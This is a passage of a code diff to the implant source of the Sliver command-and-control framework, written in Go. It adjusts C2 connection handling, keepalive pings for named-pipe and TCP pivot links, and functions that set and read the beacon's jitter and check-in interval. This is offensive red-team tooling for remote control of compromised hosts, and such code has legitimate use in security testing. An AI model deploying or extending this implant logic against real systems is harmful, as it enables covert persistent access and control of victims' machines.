 		segments = append([]string{s.PathPrefix}, segments...)
 	}
 	return strings.Join(segments, "/")
@@ -588,6 +637,7 @@ func httpClient(address string, opts *HTTPOptions) *SliverHTTPClient {
 		driver:    driver,
 		pollMutex: &sync.Mutex{},
 		Closed:    false,
+		Options:   opts,
 	}
 	return client
 }
@@ -606,6 +656,7 @@ func httpsClient(address string, opts *HTTPOptions) *SliverHTTPClient {
 		driver:    driver,
 		pollMutex: &sync.Mutex{},
 		Closed:    false,
+		Options:   opts,
 	}
 	return client
 }

implant/sliver/transports/pivotclients/namedpipe_generic.go

@@ -24,7 +24,7 @@ import (
 	"errors"
 )
 
-// NamedPipeConnect - Non windows implementation of the named pipe client
+// NamedPipePivotStartSession - Non windows implementation of the named pipe client
 func NamedPipePivotStartSession(_ string, _ *NamedPipePivotOptions) (*NetConnPivotClient, error) {
 	return nil, errors.New("unsupported platform")
 }

implant/sliver/transports/session.go

@@ -200,7 +200,7 @@ func StartConnectionLoop(c2s []string, abort <-chan struct{}) <-chan *Connection
 				// *** WG ***
 				// {{if .Config.WGc2Enabled}}
 				connection, err = wgConnect(uri)
-				if err == nil {
+				if err != nil {
 					// {{if .Config.Debug}}
 					log.Printf("[wg] Connection failed %s", err)
 					// {{end}}
@@ -753,6 +753,9 @@ func tcpPivotConnect(uri *url.URL) (*Connection, error) {
 				case <-pingCtrl:
 					return
 				case <-time.After(time.Minute):
+					// {{if .Config.Debug}}
+					log.Printf("[tcp pivot] peer ping...")
+					// {{end}}
 					data, _ := proto.Marshal(&pb.PivotPing{
 						Nonce: uint32(time.Now().UnixNano()),
 					})
@@ -760,11 +763,10 @@ func tcpPivotConnect(uri *url.URL) (*Connection, error) {
 						Type: pb.MsgPivotPeerPing,
 						Data: data,
 					}
-				case <-time.After(time.Minute):
 					// {{if .Config.Debug}}
 					log.Printf("[tcp pivot] server ping...")
 					// {{end}}
-					data, _ := proto.Marshal(&pb.PivotPing{
+					data, _ = proto.Marshal(&pb.PivotPing{
 						Nonce: uint32(time.Now().UnixNano()),
 					})
 					connection.Send <- &pb.Envelope{

implant/sliver/transports/transports.go

@@ -112,6 +112,11 @@ func randomCCDomain(ccServers []string, next string) string {
 var (
 	// reconnectInterval - DO NOT ACCESS DIRECTLY
 	reconnectInterval = time.Duration(0)
+
+	// {{if .Config.IsBeacon}}
+	jitter   = time.Duration(0)
+	interval = time.Duration(0)
+	// {{end}}
 )
 
 // GetReconnectInterval - Parse the reconnect interval inserted at compile-time
@@ -132,6 +137,44 @@ func SetReconnectInterval(interval int64) {
 	reconnectInterval = time.Duration(interval)
 }
 
+// GetJitter - Get the beacon jitter {{if .Config.IsBeacon}}
+func GetJitter() int64 {
+	if jitter == time.Duration(0) {
+		configJitter, err := strconv.ParseInt(`{{.Config.BeaconJitter}}`, 10, 64)
+		jitter = time.Duration(configJitter)
+		if err != nil {
+			jitter = time.Duration(30 * time.Second)
+		}
+	}
+	return int64(jitter)
+}
+
+// SetJitter - Set the jitter value dynamically
+func SetJitter(newJitter int64) {
+	jitter = time.Duration(newJitter)
+}
+
+// {{end}} - IsBeacon
+
+// GetInterval - Get the beacon interval {{if .Config.IsBeacon}}
+func GetInterval() int64 {
+	if interval == time.Duration(0) {
+		configInterval, err := strconv.ParseInt(`{{.Config.BeaconInterval}}`, 10, 64)
+		if err != nil {
+			interval = time.Duration(30 * time.Second)
+		}
+		interval = time.Duration(configInterval)
+	}
+	return int64(interval)
+}
+
+// SetInterval - Set the interval value dynamically
+func SetInterval(newInterval int64) {
+	interval = time.Duration(newInterval)
+}
+
+// {{end}} - IsBeacon
+
 // GetMaxConnectionErrors - Parse the max connection errors inserted at compile-time
 func GetMaxConnectionErrors() int {
 	maxConnectionErrors, err := strconv.Atoi(`{{.Config.MaxConnectionErrors}}`)

implant/sliver/transports/transports_windows.go

@@ -56,6 +56,7 @@ func namedPipeConnect(uri *url.URL) (*Connection, error) {
 			// {{end}}
 			close(send)
 			ctrl <- struct{}{}
+			pingCtrl <- struct{}{}
 			close(recv)
 		},
 	}
@@ -80,6 +81,9 @@ func namedPipeConnect(uri *url.URL) (*Connection, error) {
 				case <-pingCtrl:
 					return
 				case <-time.After(time.Minute):
+					// {{if .Config.Debug}}
+					log.Printf("[namedpipe] peer ping...")
+					// {{end}}
 					data, _ := proto.Marshal(&pb.PivotPing{
 						Nonce: uint32(time.Now().UnixNano()),
 					})
@@ -87,11 +91,10 @@ func namedPipeConnect(uri *url.URL) (*Connection, error) {
 						Type: pb.MsgPivotPeerPing,
 						Data: data,
 					}
-				case <-time.After(time.Minute):
 					// {{if .Config.Debug}}
 					log.Printf("[namedpipe] server ping...")
 					// {{end}}
-					data, _ := proto.Marshal(&pb.PivotPing{
+					data, _ = proto.Marshal(&pb.PivotPing{
 						Nonce: uint32(time.Now().UnixNano()),
 					})
 					connection.Send <- &pb.Envelope{